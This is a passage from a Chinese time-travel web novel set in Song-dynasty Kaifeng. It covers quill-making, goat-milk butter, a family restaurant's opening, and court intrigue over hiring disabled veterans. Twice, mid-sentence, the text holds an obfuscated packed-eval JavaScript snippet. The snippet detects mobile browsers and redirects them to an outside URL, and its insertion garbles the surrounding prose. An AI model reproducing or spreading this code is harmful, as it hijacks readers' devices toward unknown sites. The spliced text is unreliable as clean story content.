没错，她成功复刻出了西方的羽毛笔，主要因为原材料容易获取。只需要选择鹅的初级飞羽，就是翅膀外侧最长的羽毛，用温水轻柔刷洗去除污垢和寄生虫，再置于酒中浸泡一至两小时，溶解天然油脂，增强吸墨性。剪去羽毛末端蓬松部分后，将细沙加热，把羽毛根部埋入沙中十分钟，待硬化后取出。用小刀以45度角斜切羽管末端，形成类似现代钢笔笔尖的斜面，再在斜面上开出0.5毫米宽的墨水导流缝。这样制成的羽毛笔可蘸墨书写，笔尖磨损后重新切割斜面即可继续使用，一支笔通常能削尖三到五次。 羽毛笔的构造当然更适合写西方的字母，但用于绘画和记事却十分实用。没有手机备忘录的日子可太难了，等你想写个什么，墨水磨好了，想写的东西全忘了。她还特意用刘耘娘的胭脂盒改装成便携墨囊，可临时储存少量墨汁，每天就装在布袋里，随身携带。 而现在，她正依照唐代官修《新修本草》图谱，学着给身边的植被花草绘制图鉴，重点是突出根、茎、花全貌，图文结合描述形态与产地，让人一看就可以识别。 院子里的植被已经让她画完了，今日学着画制的是大丫城外采回的马齿苋，也称长命菜、长寿菜。相传东汉光武帝刘秀在南阳断粮时，因食马齿苋保住性命，便封它此等嘉名。 马齿苋在《新修本草》中也有记载，可当蔬菜食用。富含钾盐，有很好的利水消肿作用，也有丰富的胡萝卜素，能起到预防心脏病的作用，但脾胃虚寒和孕妇需要禁止食用。 将最后一笔画完，她于图侧工工整整写下此物特征及食用方法。 松了口气，吴悦终于腾出手来，活动活动有些僵硬的身子，也被甜香勾得抬眼看向另一边的土窑："这次咱们要看好时辰，可别又烤糊了。" "小娘子放心"青枣转身，发间发带也随着动作飘动，"这黄油做着如此麻烦，这次肯定能成。" 吴悦嘿嘿轻笑，黄油难做这倒是真的，尤其是大丫，大部分时间都是她完成的，别看她个头小，但是力气却一大把。 黄油需要通过击打从鲜奶上获取的上层乳脂，也就是鲜奶油获得。 19世纪前的欧洲，在没有齿轮机械搅拌桶的时候，家家户户都是拿自家的鲜奶用木制搅拌桶自制家庭版黄油，耗时两到三小时，加点盐冷藏可以保存3个月之久，是欧洲当时家庭妇女的日常劳作之一。 现在皇家的乳酪司产的供给皇家乳制品中的酥油，并不是后世的黄油，而类似于后世的无水奶油，是将牛乳或羊乳煮沸后静置，将表面凝结的脂肪层（类似现代奶皮子）反复收集、熬炼，最终得到半固态油脂，制作工艺复杂，还不便宜。 市井里也有人加在面团里来增加面点的酥脆分层，叫油酥饼子，吴夏还特意给她买过。 22. 第 22 章 在这个时代，制作黄油所需要的牛奶可不好找，1斤黄油需要约5升全脂牛奶，中原地区常见的黄牛以及南方的水牛，都是耕地役用，只能在哺乳期短暂取奶，可以全天候挤奶的奶牛也要等到19世纪才会被西方的商人通过商船从美洲引入中国。 但是羊奶却是一点都不缺，做出来的羊奶黄油的脂肪含量比牛奶黄油还要高，且更好帮助人消化，很适合乳糖不耐的国人使用。唯一的缺点就是微膻带点坚果香，不过如果拿羊奶黄油做坚果包，岂不是把坚果都省了。 “这次成功了，咱们就每天烤来吃，吃了这个还能不得鸡盲呢！”吴悦有些得意。 鸡盲就是夜盲症，在昏暗环境或夜晚会视物模糊、行动困难，甚至完全失明。她也是因为发现大丫最近身上总是会有磕碰的痕迹，一问才知原来是夜晚回家看不见路导致。这才开始回忆，如何治疗。 宋代人不怎么爱吃乳制品和动物肝脏，这就导致严重缺乏维生素A。而且古代也没有冰箱，烹饪方法喜欢靠煮，这都会加速维生素A的流失。除了维A，羊奶黄油还富含B12，这还能帮助红细胞生成与预防贫血。她一直想让家中的几位女性长辈多食用羊奶制品，但是她们总觉得腥，不愿意多吃。 “真的？”大丫震惊，她每到晚上就不爱出门，看不清楚路，只能摸索着前进，摔了好多跤。 “那当然，这可是饱含维生素A呢。” 大丫听不太懂，脸颊一红，嘟囔着：“还是读书多的好，以后小娘子看的书也给我们讲讲。” “好呀，以后咱们每晚再多学两个字，保证半年下来，你和青枣一样，都能看懂戏单上说了什么。” 青枣是个戏文发烧友，永嘉的杂剧最近风靡汴梁，她存下来的钱都跑去听戏了，甚至还想拉着大丫一起去，但是大丫拒绝了，她想多照顾还在襁褓内的妹妹，好让娘亲和阿婆能够多休息会。 这时，窑内突然传来"噗嗤"声。 "成了！"青枣手忙脚乱刚想打开窑膛，却被膛口冒来的热气吓的后退了几步。过了一会儿才用干净的棉布兜着几个热烘烘的面包跑来。吴悦拿过一个，迫不及待的撕扯开，乳白的蒸汽裹挟着麦香与坚果香喷涌而出。迫不及待咬下一口，内里的组织虽然没有后世所吃的，如云朵般蓬松，但是黄油的乳脂香还是在口腔里舒展。 “走，给阿娘和阿婆尝尝！” 刘耘娘捧着一块热烘烘的面包，倒是有点诧异女儿居然真的做出来个看样子还不差的吃食。小小的掰了一块放入口中，味道居然还不差？又连着吃了好几口，居然把整块面包都吃完了。“不甜，想卖出去就得淋点蜂蜜或者夹一些果脯，做的好看精致一些，你们这个整的形也太丑了。” 吴悦表示不服，对小孩子要求为什么高。 “青枣和大丫已经很努力了！阿娘你又不让王婆帮我们！” “味道倒是很特别，吃起来松松软软的，各家的老太君或者小娘子应该都会喜欢。如果要卖，东京人更嗜甜，蜂蜜、果脯都要准备着，还可以再些果酱涂着吃。”吴王氏也同意儿媳的意见。 “我可没打算现在卖这个，黄油做着比猪油麻烦多了，这个是专门做了给咱们家自己人吃的，你们又不喜欢羊奶的腥味，这样加在面团里，是不是就吃不出来了？”吴悦还在想办法让她家这几个女性长辈多吃点羊奶制品。 古代资源匮乏，当下的饮食偏好让她们已经鲜少摄入肉类，就喜欢吃面条和饼，不然就喜欢吃一些甜的腻人的果脯和点心。这样单一的饮食结构只会导致她们营养不良，蛋白质不足，容易在老年时引起肌肉无力，缺钙又会导致骨质疏松，容易骨折。 “而且食店即将开张，哪有闲心教他们新技法，这些好东西咱们就先留着自己吃。” 食店取名"吴氏酪香"。开在官衙对面，店名当然要显得雅致。也已经找人算过日子，吉时就在三日后。 吴悦早已经把开张帖送给石介、何群以及吕希哲了。上云：“谨择十月廿日吉时，吴氏酪香开张，现烤酥饼，慢炖香肉，现制酪奶，诚邀光临品鉴”。还特意说明可以邀请亲朋好友同往。 杨氏也给大女儿送去帖子，却特意叮嘱："开业那日人多杂乱，你身子不便就留在家中，让姑爷前来就可以。"算算日子，吴丽娘身孕已快七个月，家中上下皆不敢让她随意走动。吴悦还特意遣大丫时常送去用羊肉臊子与奶酪作馅制成的胡饼，希望为她和她腹中胎儿增添营养。羊肉富含动物蛋白，奶酪则含浓缩乳蛋白，二者互补可形成"完全蛋白"模式，既促进胎儿组织器官发育，又能预防孕妇缺铁性贫血与胎儿骨骼钙化不足。 吴父则遍邀自己交好的同僚和上司，众人都纷纷表达要来捧场。 眼看着开业在即，这两天全家既兴奋不已，又隐隐担忧。 担忧什么？ 当然是担心食店无人问津。 不过现在看来，这担忧是多余的——店内早已座无虚席，眼见没位置，有些人只能点了一个炙肉双麻饼，外带一份酪浆琼果盏。 这倒不是他们家找的托儿，实因这红烧肉的香味四溢，老远就能闻到。 装修时，刘耘娘采纳了女儿的建议，在入口处设置了两个展示橱窗，现场演示炙肉双麻饼的制作过程和酪浆琼果盏的制作过程。起的就是沉浸式美食制作的效果，因为美食制作过程中的色彩对比（比如金黄酥皮和绵密奶泡）、动态变化（面团延展的以及麻薯的拉丝）能够直接刺激视觉皮层，触发大脑多巴胺分泌，产生愉悦感，让人欲罢不能。 看见那剁肉时汁水四溢，闻那酱油与肉脂交融的馥郁酱香，听着那刚出炉麻饼被切开时的脆响，把一众食客的口水都馋的要流出来了。若想添加香菜和葱，或搭配酱瓜、五辛酱（由葱、姜、蒜、韭菜、茱萸等辛香料混合而成），均可按需自取。 酪浆琼果盏的摊位前也是同样热闹，帮厨用细腻柔滑的酸奶打底，撒上的梨条、枣圈、桃圈，再淋上蜂蜜，一碗原味酪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500259|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浆琼果盏便告成。若想变换口味，还有六七种果酱供客人选择。酪浆琼果盏是个季节性美食，天冷后销量肯定锐减，不过还有糖霜圆饵、酪香糍团、麻膏甘饴供人选择。 穿过橱窗展示区，就是被镂空雕花木板隔成的若干独立空间，内部放置着可以坐两人或四人的桌子，桌子上摆放图文并茂的菜单，菜品旁附有实物图谱，便于食客直观了解并点餐。 再往内走，就是后厨，非店内人员不得入内。毗邻后厨的楼梯通往二楼，其上设有3间包厢——2大1小，供预定的客人使用。小包厢虽处二楼边角，房型不规则且窗户最小，却拥有绝佳视野，甚至能看到开封府衙门口的人流动向。 此刻，小包厢内坐着吴悦与石介，吴夏则在隔壁大包厢招待何群、吕希哲。原本五人同在大包厢，但是吴悦一看到吕希哲就找了借口出来，来到了隔壁小间。 过一会，石介也从隔壁过来了。 石介端着一碗原味的酪浆琼果盏，吃的正是畅快。 而吴悦，素日在家里已经吃够了，加之已入深秋，天寒地冷的，作为女孩子应该保暖了。此刻正吃着麻膏甘饴，也就是芝麻糊糍粑，还特意添加了别的小料，加了一些鲜奶和红枣。 两人吃的是大快朵颐。 忽然听到楼梯处传来脚步声，一苍老男声问道："徂徕可在？" 石介忙搁下碗盏，立刻起身就去开门，吴悦紧随其后。出了房门，就发现隔壁几人听到声音也都出来了，与阶前老者揖礼不迭，齐呼："富春先生"。 来者正是孙武第四十九代孙、"宋初三先生"之一的孙复。父亲早逝，其人重义理而轻传注，导致科举四次落榜，然后专心于讲学授徒近20年。虽家徒四壁却安贫乐道，拒受权贵资助，唯聚书满室。他经范仲淹和石介联名举荐后，以白衣入仕，官拜秘书省校书郎、国子监直讲。也就是说，如果吴夏勤勉攻读，这就是他在太学的老师。如果不努力，这就是他在国子监的老师。这位泰山学派宗师除掌教国子监外，还在太学任教。 只见孙复虽身形清癯，却精神矍铄，与吴夏、吕希哲温言相询最近在读些什么书，就放他们回屋了。 石介将孙复引入小包厢，吴悦也郑重其事的对孙复行大礼参拜。 孙复端详了吴悦片刻，才笑着对石介说："听你说起这位女弟子很久了，今日才得此一见啊。” 石介抚髯应道："这不是因为明富你身兼国子监与太学教职，每日讲学论道，实在难以抽空得以相见。今天也是凑个机会，学生旬休，你才空出时间，能到外面走动走动。” 孙复喟然长叹："非老夫不欲外出，还不是因为不想再授人把柄，少出来点就能少惹人生厌点。” 他指的就是宋仁宗前些日子到太学巡视，赐他绯衣银鱼，并有意擢他为侍讲。然此举招致台谏官群起反对，仁宗只得作罢。 孙复也深知自己已为众矢之的，行踪就愈发谨慎了起来，除授课外就足不出户。 23. 第 23 章 侍讲是皇帝身边的高级学术顾问与经筵讲官，主要负责为皇帝讲解儒家经典、历史典籍及治国之道。可以结合时政向皇帝提出治国建议，参与讨论朝政、礼制改革等重大议题，然后借此影响皇帝决策，是士大夫群体与皇权沟通的重要桥梁。 侍讲也很看重资历，必须由进士出身且经宰执荐举、天子亲试后才可以授予。 孙复一介白衣，四次科场铩羽，还是皇帝巡幸太学，偶然遇到交谈后认为有大才，意欲破格拔擢。此等逾制之举，简直就是在掌掴朝堂衮衮诸公的嘴巴子。 换作别朝的君主，还可以强行下令。但是宋仁宗素来宽仁，也就是说他耳根子极软，闻得台谏来势汹汹，且说得挺有道理，就退缩了。他是史上公认的立场不坚定，及其容易被影响，反而令孙复陷入两难之境。 “接到你的邀约，世昌本也想来，但是他刚拜同平章事，出入干系重大，太扎眼。于是就我来代替他，还有那几个出了京的老友，来见见你夸的天上有地下无的女弟子。” 吴悦正自忖"世昌"所说何人，就猛地听到自己被点名，慌忙正襟危坐。 “哈哈哈哈，我就没想着世昌能出来，下次有机会再说。”将手中菜单递了过去，石介说，“这是店里的手绘食单，还有图片示例，看看你想吃什么，今日的美食就让你我先来鉴赏一二了。” 孙复接过后略微翻了几页这看着很是精美的绢帛食单，指尖在"肉菌陶釜香饭"处驻足，念道："慢火细烹，琥珀珍馔，甜咸相济。”又翻了几页，看向后面的饮子，复又翻回来，“就这个了，肉菌陶釜香饭，再加一个荔枝膏的酪浆琼果盏。” “那我来一份香酥哨子汤饼。”石介接过菜单，翻了几页，也随意的给自己点了一个。 楼上因为是自己人，就没有行菜上前服务。吴悦就充当了这个行菜，哒哒哒哒哒的下楼去厨房传话。 顺便偷偷瞄了眼店里的客人，发现有不少人排队正等着买炙肉双麻饼，而她娘则在账房处喜笑颜开地看着账房先生记录账簿。 又等了一会，感觉时间差不多了，已经给两位先生充足的谈话时间，她才跟着端菜的堂倌一起上楼。 她给自己点了一份炙肉双麻饼，虽然这等小吃，要用双手拿着啃食不太雅观，但是她现在还是个小孩子，稚子何其可爱，又有什么关系呢。 肉菌陶釜香饭其实就是煲仔饭，这个做着也简单，用猪油涂遍锅底，倒入浸泡三十分钟的大米，加清水将将没过米饭，大火煮沸后转小火焖10分钟。开盖码入腊脯，中间打入鸡蛋，沿锅边淋一勺猪油，继续焖5分钟。再关火焖3分钟，开盖铺青菜、淋酱汁、撒葱花，拌匀即可。 香酥哨子汤饼就更简单了，水沸后下面条，煮至八成熟捞出过凉水。另起锅煮面汤，加一勺猪油、盐、葱花，碗底放面条，浇上炼制猪油得的脆哨和软哨，淋上面汤。煎两个荷包蛋码放，撒胡椒提香，旁边还放着一小碟五辛酱可以自行调制。 这两个现在都算创新菜，吴悦先在家中尝试给家人品尝，经过她们的认可后，才加入菜单当中。 现在看石介和孙复的反应，虽然刚开始拿到时他们俩人也觉得有些无从下手，但是吃饭的过程中反馈很好。 吴悦这就放下心来，她就说嘛。猪肉那么好吃，怎么能不吃猪猪。而且她们打的招牌就是这些猪猪都是饲料养殖，可不是那养在茅厕旁的！ 待三人酒饱饭足。 桌上的残羹都被撤去，又端上一副茶具与新沏的香茶。 吴悦起身执壶，恭恭敬敬地为两位先生添茶。 孙复轻轻抿了一口茶汤，开口问道："我刚刚误去了后院，发现有一独眼目盲之人，正在劈柴烧火。还有一独腿汉子，坐在椅上揉面。这俩人莫非都是令尊昔日旧部吗？” “是。”吴悦正襟危坐，脊背挺得笔直：“这两位叔伯都是在与西夏作战时负了重伤，转为剩员。虽说朝廷按月发放半俸，但他们家中人口众多，幼小儿女尚需抚育，仅靠这点俸禄难以维持生计。再者，他们身有残疾，外出谋事常遭白眼，惹人厌恶。家父想后院僻静，不会惊扰客人，便让两位叔伯在此做工。这两位叔伯惊扰到先生您了吗？” “如此说来，店中所见之人皆为令尊旧部及其眷属？”孙复并不回复，反而挑眉继续追问。 “正是，除了账房先生。” “贵府不往牙行招募人手，反而招揽旧部及家属，莫非是在埋怨朝廷对因伤致残士卒的安置举措不满？”孙复本正将茶盏举至唇边轻啜，听闻，忽然重重的将茶盏搁在案几上，把吴悦惊的身躯一颤。 “哎，干嘛这样吓唬我弟子。”石介白了孙复一眼，转而温言道：“富春先生不过是转述将来市井会有的流言，你宽心作答便是，莫怕。” 吴悦定了定神，忽然觉得这话说得古怪。她爹只是个七品武官，兄长尚在寒窗苦读，也没有考取功名，怎会有人刻意寻衅滋事？ 突然，她猛地恍然大悟，站起身来朝孙复深鞠一躬，感激地说：“谢先生提醒。” 孙复呵呵一笑，继续追问：“你将如何作答呢？” 石介常夸他这女弟子聪慧过人，有曹冲之智，今日便让他考考。 这确实是个棘手难题，雇佣伤残士兵，可能被曲解为收买人心，甚至暗示他们家对朝廷安置政策的不满。而且，身为七品武官开设商铺，也会有与民争利的嫌疑。 宋朝初年即明令禁止官员经商，但是因冗官俸禄不足、军费压力巨大及财政需求等因素，朝廷对官员经商长期采取默许态度。官员经商也可以涉及盐茶专卖、放贷租赁、海外贸易等诸多领域，甚至存在利用职权垄断资源的现象。军队将领经商尤为突出，成为补充军费的重要手段。这种表面禁止、实际放任的状态下，只要不被检举揭发，往往相安无事。但是朝中有人会因为政治斗争，而借"与民争利""官商勾结"等罪名攻击政敌。 孙复与石介经历朝中一系列政治倾轧后，对这类阴鸷手段早已司空见惯。他俩甚至置身于这个政治斗争旋涡的中心，一批守旧官僚正试图将改革派彻底击垮，永世不得翻身。这些政敌深谙"薄皮去骨"之术，通过打击他们的亲属门生、故旧师长，渐进的系统性的解构整个革新阵营。这种看似温和的攻势，实则暗含斩草除根的狠戾。 作为石介的弟子，吴夏自然难逃此劫。只需指控其父对朝廷伤兵安置政策心怀不满，再揪住其身为官员却违禁经商、与民争利，便能通过扳倒吴夏和他父亲，进而攻击石介所收门生是国之蛀虫，对官家不忠，而身为石介举荐人的范仲淹亦难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500260|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞其咎。门生对君主怀有二心，师长焉能独善其身？那你身为举荐人也是不忠不义之徒。由此便能将整个革新派污名化为表面大义凛然、实则结党营私的奸佞集团。待改革派羽翼尽被剪除，政敌便可从容发动致命一击，彻底终结革新事业。 想到这里，吴悦骤然苍白，指尖无意识地攥紧了袖口。 她的思绪如飞梭般转动，回顾历史，在记忆长河中搜寻着是否有可以借鉴的先例。 终于，想起来这么一个人。 前礼部尚书，尚书省左仆射张咏，此人在任崇阳令时，曾亲自酿酒售卖以补县衙开支，被弹劾“与民争利”后，他以"价格仅为市价三成，实乃便民之举"的辩词获得士林赞誉。 “首先，当务之急是去官府备案，”她的思路慢慢清晰了起来，"向枢密院兵籍房呈递《退役兵丁雇佣名册》，表明他们都是自愿解甲归田者，而不是领取半薪的剩员。也会让两位叔伯将之前所领的半俸归还。” 这番举措暗藏三重玄机：通过在官府那里留底，将雇佣行为纳入合法监管体系。以"自愿解甲归田"的表述，强调这些人的平民身份，切断与蓄养私兵的联想。归还多领半俸的举动，表示他们奉公守法，消除"贪墨军饷"的指控空间。 “其次，我们会定制一个报国堂的匾额，配楹联书「卸甲犹存忠义胆，烹鲜不忘圣君恩」。”元祐年间，苏轼在杭州成立育儿会，私设机构收养弃婴，也在外面特意大肆宣扬「此陛下天地父母之德」，就是为了规避越权。在赵宋天下，万民皆为天子御下，除了皇帝没有任何人可以越过皇权去安置百姓，否则这就可以等同造反，在沾惹皇权。需要表明态度，任何善举都当彰显皇恩浩荡，而非私德彰显。也就是说，我们臣子是因为想为官家分忧解难，才雇佣了这些退役士卒，他们应该对官家感恩戴德，而不是我们吴家。 “最后，如果朝中出现弹劾，应对应该迅速，不能任由流言扩散。将商业行为转化为彰显朝廷仁政的忠义之举。并立即上《请罪疏》称：臣其愚钝，妄解圣意私恤袍泽，虽出至诚实违体制，伏乞削职以正纲常。”利用宋仁宗公认的宽厚性格规避严惩，朝中其他大臣也不会愿意背负「惩处恤兵者」的恶名。也就是说，要在这场舆论战中将自身置于「皇权延伸」的道德高地，才能在政治斗争中化险为夷。不能表现出一丝的私心，必须是为天下为公，虽说方法有点小偏离，可是我们的出发点是好的。 把脑中所想的应对之策一一说明，吴悦仍觉惴惴难安，她对这个朝代还是不够了解，主要是对赵宋皇权的至高无上还没有太大的感触。现在回忆起，难怪之前姐夫的香料店开不下去，没人敢来买，生怕被揪住小辫子。她本身想香料店那是面对勋贵人家，确实容易被弹劾奢欲无度，她们开个食店，面向市井百姓，谁知道这还能出篓子。 不由得暗自叹息。 主要也是她爹心善，不忍一起征战的兄弟们食不饱腹，将十余名旧部眷属尽数安置店内。若当初只雇佣一两名伤残士卒，或许还能以"念及袍泽"遮掩，如今这般大规模安置，落在有心找茬人眼里，不就是授人以柄，理都没出说。 哎，终究是太过天真了，以后每走一步都要更加谨慎。 这个朝代，一不小心，就会把全家送去大牢里的。